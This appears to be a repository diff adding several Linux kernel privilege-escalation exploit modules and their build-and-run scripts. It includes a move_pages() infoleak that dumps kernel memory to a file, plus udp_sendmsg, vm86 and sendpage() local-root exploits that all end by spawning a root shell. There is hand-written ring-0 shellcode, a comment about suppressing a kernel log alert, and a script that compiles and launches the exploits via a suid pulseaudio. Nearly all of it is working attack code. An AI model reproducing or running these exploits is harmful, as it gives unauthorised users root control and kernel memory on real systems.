(former if HIGHMEM is not present, latter if it is)
|
||||
|
||||
each node_state is of type nodemask_t, which is is a bitmap of size
|
||||
MAX_NUMNODES/8
|
||||
|
||||
RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size
|
||||
|
||||
so the effective base we're working with is either node_states + 16 or
|
||||
node_states + 24
|
||||
|
||||
on 2.6.18 it's based off node_online_map
|
||||
|
||||
node_isset does a test_bit based on this base
|
||||
|
||||
so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))
|
||||
|
||||
all the calculations appear to be signed, so we can both index in the
|
||||
negative and positive direction, based on ourval
|
||||
|
||||
on 64bit, this gives us a 256MB range above and below our base to grab
|
||||
memory of
|
||||
(by passing in a single page and a single node for each bit we want to
|
||||
leak the value of, we can reconstruct entire bytes)
|
||||
|
||||
we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
|
||||
subtracting their difference, and multiplying by 8
|
||||
but we don't need to do this
|
||||
*/
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";
|
||||
char *cve = "CVE-2010-0415";
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 0;
|
||||
|
||||
int requires_symbols_to_trigger = 1;
|
||||
|
||||
void addr_to_nodes(unsigned long addr, int *nodes)
|
||||
{
|
||||
int i;
|
||||
int min = 0x80000000 / 8;
|
||||
int max = 0x7fffffff / 8;
|
||||
|
||||
if ((addr < (our_base - min)) ||
|
||||
(addr > (our_base + max))) {
|
||||
fprintf(stdout, "Error: Unable to dump address %p\n", addr);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
nodes[i] = ((int)(addr - our_base) << 3) | i;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
char *buf;
|
||||
unsigned char get_byte_at_addr(unsigned long addr)
|
||||
{
|
||||
int nodes[8];
|
||||
int node;
|
||||
int status;
|
||||
int i;
|
||||
int ret;
|
||||
unsigned char tmp = 0;
|
||||
|
||||
addr_to_nodes(addr, (int *)&nodes);
|
||||
for (i = 0; i < 8; i++) {
|
||||
node = nodes[i];
|
||||
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
|
||||
exit(1);
|
||||
} else if (errno != ENODEV)
|
||||
tmp |= (1 << i);
|
||||
}
|
||||
|
||||
return tmp;
|
||||
}
|
||||
|
||||
void menu(void)
|
||||
{
|
||||
fprintf(stdout, "Enter your choice:\n"
|
||||
" [0] Dump via symbol/address with length\n"
|
||||
" [1] Dump entire range to file\n"
|
||||
" [2] Quit\n");
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
unsigned long addr;
|
||||
unsigned long addr2;
|
||||
unsigned char thebyte;
|
||||
unsigned char choice = 0;
|
||||
char ibuf[1024];
|
||||
char *p;
|
||||
FILE *f;
|
||||
|
||||
// get lingering \n
|
||||
getchar();
|
||||
while (choice != '2') {
|
||||
menu();
|
||||
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
|
||||
choice = ibuf[0];
|
||||
|
||||
switch (choice) {
|
||||
case '0':
|
||||
fprintf(stdout, "Enter the symbol or address for the base:\n");
|
||||
fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
|
||||
p = strrchr((char *)&ibuf, '\n');
|
||||
if (p)
|
||||
*p = '\0';
|
||||
addr = exp_state->get_kernel_sym(ibuf);
|
||||
if (addr == 0) {
|
||||
addr = strtoul(ibuf, NULL, 16);
|
||||
}
|
||||
if (addr == 0) {
|
||||
fprintf(stdout, "Invalid symbol or address.\n");
|
||||
break;
|
||||
}
|
||||
addr2 = 0;
|
||||
while (addr2 == 0) {
|
||||
fprintf(stdout, "Enter the length of bytes to read in hex:\n");
|
||||
fscanf(stdin, "%x", &addr2);
|
||||
// get lingering \n
|
||||
getchar();
|
||||
}
|
||||
addr2 += addr;
|
||||
|
||||
fprintf(stdout, "Leaked bytes:\n");
|
||||
while (addr < addr2) {
|
||||
thebyte = get_byte_at_addr(addr);
|
||||
printf("%02x ", thebyte);
|
||||
addr++;
|
||||
}
|
||||
printf("\n");
|
||||
break;
|
||||
case '1':
|
||||
addr = our_base - 0x10000000;
|
||||
#ifdef __x86_64__
|
||||
/*
|
||||
our lower bound will cause us to access
|
||||
bad addresses and cause an oops
|
||||
*/
|
||||
if (addr < 0xffffffff80000000)
|
||||
addr = 0xffffffff80000000;
|
||||
#else
|
||||
if (addr < 0x80000000)
|
||||
addr = 0x80000000;
|
||||
else if (addr < 0xc0000000)
|
||||
addr = 0xc0000000;
|
||||
#endif
|
||||
addr2 = our_base + 0x10000000;
|
||||
f = fopen("./kernel.bin", "w");
|
||||
if (f == NULL) {
|
||||
fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
|
||||
fflush(stdout);
|
||||
while (addr < addr2) {
|
||||
thebyte = get_byte_at_addr(addr);
|
||||
fputc(thebyte, f);
|
||||
if (!(addr % (128 * 1024))) {
|
||||
fprintf(stdout, ".");
|
||||
fflush(stdout);
|
||||
}
|
||||
addr++;
|
||||
}
|
||||
fprintf(stdout, "done.\n");
|
||||
fclose(f);
|
||||
break;
|
||||
case '2':
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int prepare(unsigned char *ptr)
|
||||
{
|
||||
int node;
|
||||
int found_gap = 0;
|
||||
int i;
|
||||
int ret;
|
||||
int status;
|
||||
|
||||
totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
|
||||
node_states = exp_state->get_kernel_sym("node_states");
|
||||
node_online_map = exp_state->get_kernel_sym("node_online_map");
|
||||
|
||||
buf = malloc(4096);
|
||||
|
||||
/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
|
||||
towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
|
||||
which will be set for our single node -- this gives us the size of the bitmap
|
||||
*/
|
||||
for (i = 0; i < 512; i++) {
|
||||
node = i;
|
||||
ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
|
||||
exit(1);
|
||||
} else if (errno == ENODEV) {
|
||||
found_gap = 1;
|
||||
} else if (found_gap == 1) {
|
||||
max_numnodes = i;
|
||||
fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (node_online_map != 0)
|
||||
our_base = node_online_map;
|
||||
/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
|
||||
of each bitmap in the array our base is in the middle of
|
||||
we've taken account for all this
|
||||
*/
|
||||
else if (node_states != 0)
|
||||
our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
|
||||
else {
|
||||
fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,84 @@
|
|||
/* the rebel */
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
struct dst_entry {
|
||||
void *next;
|
||||
int refcnt;
|
||||
int use;
|
||||
void *child;
|
||||
void *dev;
|
||||
short error;
|
||||
short obsolete;
|
||||
int flags;
|
||||
unsigned long lastuse;
|
||||
unsigned long expires;
|
||||
unsigned short header_len;
|
||||
unsigned short trailer_len;
|
||||
unsigned int metrics[13];
|
||||
/* need to have this here and empty to avoid problems with
|
||||
dst.path being used by dst_mtu */
|
||||
void *path;
|
||||
unsigned long rate_last;
|
||||
unsigned long rate_tokens;
|
||||
/* things change from version to version past here, so let's do this: */
|
||||
void *own_the_kernel[8];
|
||||
};
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
char *desc = "The Rebel: Linux < 2.6.19 udp_sendmsg() local root";
|
||||
char *cve = "CVE-2009-2698";
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int prepare(unsigned char *ptr)
|
||||
{
|
||||
struct dst_entry *mem = (struct dst_entry *)ptr;
|
||||
int i;
|
||||
|
||||
/* for stealthiness based on reversing, makes sure that frag_off
|
||||
is set in skb so that a printk isn't issued alerting to the
|
||||
exploit in the ip_select_ident path
|
||||
*/
|
||||
mem->metrics[1] = 0xfff0;
|
||||
/* the actual "output" function pointer called by dst_output */
|
||||
for (i = 0; i < 10; i++)
|
||||
mem->own_the_kernel[i] = exp_state->own_the_kernel;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
struct sockaddr sock = {
|
||||
.sa_family = AF_UNSPEC,
|
||||
.sa_data = "CamusIsAwesome",
|
||||
};
|
||||
char buf[1024] = {0};
|
||||
int fd;
|
||||
|
||||
fd = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (fd < 0) {
|
||||
fprintf(stdout, "failed to create socket\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
|
||||
sendto(fd, buf, 1024, 0, &sock, sizeof(sock));
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,94 @@
|
|||
/* all credits to Tavis Ormandy/Julien Tinnes
|
||||
|
||||
I (being Ingo Molnar, of course) simply replaced the ring0 XSS
|
||||
with more suitable shellcode
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/vm86.h>
|
||||
#include <sys/types.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
char *desc = "CVE-2009-2267: VMWare vm86 guest local root";
|
||||
char *cve = "CVE-2009-2267";
|
||||
|
||||
#define REAL_TO_VIRT(cs, ip) ((void *)(((cs) << 4) + ((ip) & 0xffff)))
|
||||
#define EFLAGS_TF_MASK 0x100
|
||||
|
||||
void enter_vm86(void)
|
||||
{
|
||||
struct vm86plus_struct vm = {0};
|
||||
|
||||
vm.cpu_type = CPU_586;
|
||||
|
||||
vm.regs.eflags = EFLAGS_TF_MASK;
|
||||
vm.regs.esp = 0xdeadc01d;
|
||||
vm.regs.eip = 0x00000000;
|
||||
vm.regs.cs = 0x0090;
|
||||
vm.regs.ss = 0xffff;
|
||||
|
||||
memcpy(REAL_TO_VIRT(vm.regs.cs, vm.regs.eip),
|
||||
"\x9a\xdd\xcc\x00\x00\xbb\xaa", 7);
|
||||
|
||||
vm86(VM86_ENTER, &vm);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
char *newbuf;
|
||||
|
||||
newbuf = (char *)mremap(buf, PAGE_SIZE, 1024 * 1024, 0);
|
||||
if (newbuf == MAP_FAILED) {
|
||||
printf("failed to remap NULL page\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// mov esp, edi
|
||||
buf[0] = '\x89';
|
||||
buf[1] = '\xfc';
|
||||
// sub esp, 0x50
|
||||
buf[2] = '\x83';
|
||||
buf[3] = '\xec';
|
||||
buf[4] = '\x50';
|
||||
// call own_the_kernel
|
||||
buf[5] = '\xff';
|
||||
buf[6] = '\x15';
|
||||
*(unsigned int *)&buf[7] = (unsigned int)buf + 17;
|
||||
// jmp exit_kernel
|
||||
buf[11] = '\xff';
|
||||
buf[12] = '\x25';
|
||||
*(unsigned int *)&buf[13] = (unsigned int)buf + 21;
|
||||
*(unsigned long *)&buf[17] = (unsigned long)exp_state->own_the_kernel;
|
||||
*(unsigned long *)&buf[21] = (unsigned long)exp_state->exit_kernel;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
enter_vm86();
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,89 @@
|
|||
/* wunderbar */
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/sendfile.h>
|
||||
#include "exp_framework.h"
|
||||
|
||||
struct exploit_state *exp_state;
|
||||
|
||||
#define DOMAINS_STOP -1
|
||||
#define VIDEO_SIZE 4171600
|
||||
#ifndef IPPROTO_SCTP
|
||||
#define IPPROTO_SCTP 132
|
||||
#endif
|
||||
#ifndef PX_PROTO_OL2TP
|
||||
#define PX_PROTO_OL2TP 1
|
||||
#endif
|
||||
#ifndef PF_IUCV
|
||||
#define PF_IUCV 32
|
||||
#endif
|
||||
|
||||
const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
|
||||
{PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
|
||||
{PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
|
||||
{PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
|
||||
{PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
|
||||
{PF_PPPOX, SOCK_DGRAM, 0 },
|
||||
{PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
|
||||
{DOMAINS_STOP, 0, 0 }
|
||||
};
|
||||
|
||||
char *desc = "Wunderbar Emporium: Linux 2.X sendpage() local root";
|
||||
char *cve = "CVE-2009-2692";
|
||||
|
||||
int prepare(unsigned char *buf)
|
||||
{
|
||||
return STRAIGHT_UP_EXECUTION_AT_NULL;
|
||||
}
|
||||
|
||||
int requires_null_page = 1;
|
||||
|
||||
int get_exploit_state_ptr(struct exploit_state *ptr)
|
||||
{
|
||||
exp_state = ptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int trigger(void)
|
||||
{
|
||||
while (exp_state->got_ring0 == 0) {
|
||||
char template[] = "/tmp/sendfile.XXXXXX";
|
||||
int d;
|
||||
int in, out;
|
||||
|
||||
// Setup source descriptor
|
||||
if ((in = mkstemp(template)) < 0) {
|
||||
fprintf(stdout, "failed to open input descriptor, %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
unlink(template);
|
||||
|
||||
// Find a vulnerable domain
|
||||
for (d = 0; domains[d][0] != DOMAINS_STOP; d++) {
|
||||
if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
|
||||
break;
|
||||
}
|
||||
|
||||
if (out < 0) {
|
||||
fprintf(stdout, "unable to find a vulnerable domain, sorry\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Truncate input file to some large value
|
||||
ftruncate(in, getpagesize());
|
||||
|
||||
// sendfile() to trigger the bug.
|
||||
sendfile(out, in, NULL, getpagesize());
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int post(void)
|
||||
{
|
||||
return RUN_ROOTSHELL;
|
||||
}
|
|
@ -0,0 +1,37 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/personality.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
|
||||
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret;
|
||||
struct stat fstat;
|
||||
|
||||
ret = personality(PER_SVR4);
|
||||
|
||||
if (ret == -1) {
|
||||
fprintf(stderr, "Unable to set personality!\n");
|
||||
return 3;
|
||||
}
|
||||
|
||||
fprintf(stdout, " [+] Personality set to: PER_SVR4\n");
|
||||
|
||||
if (stat(PULSEAUDIO_PATH, &fstat)) {
|
||||
fprintf(stderr, "Pulseaudio does not exist!\n");
|
||||
return 3;
|
||||
}
|
||||
|
||||
if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
|
||||
fprintf(stderr, "Pulseaudio is not suid root!\n");
|
||||
return 3;
|
||||
}
|
||||
|
||||
execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);
|
||||
|
||||
return 3;
|
||||
}
|
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
|
||||
./run_null_exploits.sh nonnull
|
|
@ -0,0 +1,77 @@
|
|||
#!/bin/sh
|
||||
GCC=gcc
|
||||
IS_64=`uname -m`
|
||||
LINK_FLAG="-ldl"
|
||||
OPT_FLAG="-fomit-frame-pointer -O2"
|
||||
if [ "$IS_64" = "x86_64" ]; then
|
||||
OPT_FLAG="-m64 -fomit-frame-pointer -O2"
|
||||
fi
|
||||
if [ "$1" != "" ]; then
|
||||
OPT_FLAG="$OPT_FLAG -DNON_NULL_ONLY"
|
||||
elif [ -d /usr/include/selinux ]; then
|
||||
OPT_FLAG="$OPT_FLAG -DHAVE_SELINUX -lselinux"
|
||||
fi
|
||||
|
||||
for FILE in exp_*.c; do
|
||||
printf "Compiling $FILE..."
|
||||
$GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC -fPIC $OPT_FLAG -shared -o `printf $FILE | cut -d"." -f1`.so $FILE $LINK_FLAG 2> /dev/null
|
||||
if [ "$?" = "1" ]; then
|
||||
printf "failed.\n"
|
||||
else
|
||||
printf "OK.\n"
|
||||
fi
|
||||
else
|
||||
printf "OK.\n"
|
||||
fi
|
||||
done
|
||||
|
||||
ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'`
|
||||
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
|
||||
if [ "$1" != "" -o "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
|
||||
sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
|
||||
mv exploit.c exploit2.c
|
||||
mv exploit1.c exploit.c
|
||||
$GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
|
||||
fi
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
|
||||
fi
|
||||
mv -f exploit2.c exploit.c
|
||||
./exploit
|
||||
elif [ ! -f '/selinux/enforce' ]; then
|
||||
killall -9 pulseaudio 2> /dev/null
|
||||
sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
|
||||
mv exploit.c exploit2.c
|
||||
mv exploit1.c exploit.c
|
||||
$GCC -fno-stack-protector -fno-pie -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
|
||||
fi
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC -fPIC $OPT_FLAG -shared -o exploit.so exploit.c $LINK_FLAG 2> /dev/null
|
||||
fi
|
||||
mv -f exploit2.c exploit.c
|
||||
sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c
|
||||
mv pwnkernel.c pwnkernel2.c
|
||||
mv pwnkernel1.c pwnkernel.c
|
||||
$GCC $OPT_FLAG -o pwnkernel pwnkernel.c $LINK_FLAG
|
||||
mv -f pwnkernel2.c pwnkernel.c
|
||||
./pwnkernel
|
||||
else
|
||||
sed "s/\/home\/spender/$ESCAPED_PWD/g" exploit.c > exploit1.c
|
||||
mv exploit.c exploit2.c
|
||||
mv exploit1.c exploit.c
|
||||
$GCC -fno-stack-protector -fno-pie $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC -fno-stack-protector $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
|
||||
fi
|
||||
if [ "$?" = "1" ]; then
|
||||
$GCC $OPT_FLAG -o exploit exploit.c $LINK_FLAG 2> /dev/null
|
||||
fi
|
||||
mv -f exploit2.c exploit.c
|
||||
./exploit
|
||||
fi
|
Loading…
Reference in New Issue